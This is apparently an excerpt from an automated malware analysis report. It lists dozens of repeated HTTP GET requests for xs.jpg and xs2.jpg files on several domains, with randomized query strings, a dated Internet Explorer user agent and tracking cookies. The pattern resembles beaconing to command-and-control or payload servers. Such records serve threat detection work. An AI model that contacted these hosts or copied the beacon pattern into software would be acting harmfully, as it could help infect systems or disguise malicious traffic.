Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?16ed0657=-833275633 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?21aa9ba6=223665456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?28fcab5b=-1544376980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2eabe496=1566034220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?32b2701b=-1743302575 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?23b8063f=-699390598 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?85bd571b=385178732 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d2e6b20f=-1513266146 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a943d155=-1525725868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159329|1720159210|4|27|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ecd712f4=-1285796912 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2809b591=1343449890 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3f1ddc44=2117843080 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159332|1720159208|4|28|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d0ca9ad5=1918881919 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159333|1720159209|4|28|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d1dfc492=425645786 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159333|1720159210|4|28|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?9c9c7192=505180084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d64dcbbc=-1399089288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a6bc8d8b=-593430045 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159337|1720159208|4|29|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1450be15=-1568280408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159338|1720159209|4|29|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3a490c76=977865846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159338|1720159210|4|29|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?d32cd494=-752036716 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?315ea03b=-153542361 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fcfe00b3=-50462541 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159342|1720159208|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4d6da8df=-1696902722 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159342|1720159209|4|30|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fcf9a73d=-355233109 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159343|1720159210|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d6cd1c9c=1530163824 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ac94a6eb=-1399544085 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1e447f17=1015610926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159346|1720159208|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?90145cb5=-1338173921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159347|1720159209|4|31|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7b65f9eb=-308811860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159348|1720159210|4|31|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e2362982=-499766910 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ee96f00e=-1752588204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3d8b03f0=867636144 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159351|1720159208|4|32|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5ba63bfa=317895662 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159352|1720159209|4|32|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?dd7e3e4c=-1157858152 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159353|1720159210|4|32|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?48113524=1209087268 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?baec0a33=1977095270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4aae3f80=-1789100288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159356|1720159208|4|33|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3def25de=761812174 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159356|1720159209|4|33|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?169bcf29=-1260488376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159357|1720159210|4|33|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?77e1dd4f=1738905581 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?bee7d50d=-1165547199 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9d03c0a4=973570376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159360|1720159208|4|34|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d883278a=1965001572 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159361|1720159209|4|34|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b51abf91=-205832969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159362|1720159210|4|34|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6f1957af=1296828173 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e75b4ac1=573939913 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e367dd4b=-1918929620 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159364|1720159208|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8c5cf857=-1110386253 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159365|1720159209|4|35|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?35067=651573 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159366|1720159210|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?98e1fd6=480927618 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?7d5f014e=-441053940 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d809335f=1885077942 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159369|1720159208|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?755b4d7a=-1428526128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159369|1720159209|4|36|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9326ace=1388691774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159370|1720159210|4|36|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a261d895=-1250910915 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?4c21d05f=-463113955 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d01fe77f=1082105340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159373|1720159208|4|37|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?b90529bb=976462158 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159374|1720159209|4|37|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29084d1f=688409887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159374|1720159210|4|37|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?b7b2679=1155720918 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6115a042=-445898422 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a44fd8bb=-1858116884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159377|1720159208|4|38|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8ccd01ec=859047856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159378|1720159209|4|38|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?87953207=-1765829099 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159379|1720159210|4|38|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e366d748=456571456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?4aa74b0d=-1790011878 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7b10710e=-496851372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159382|1720159208|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?fb47c601=-475094010 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159382|1720159209|4|39|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5f8cf3a4=2117324432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159383|1720159210|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?857688db=366617452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?303eae28=1618828368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e278541f=-495430625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159387|1720159208|4|40|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4f537962=1028515208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159387|1720159209|4|40|0
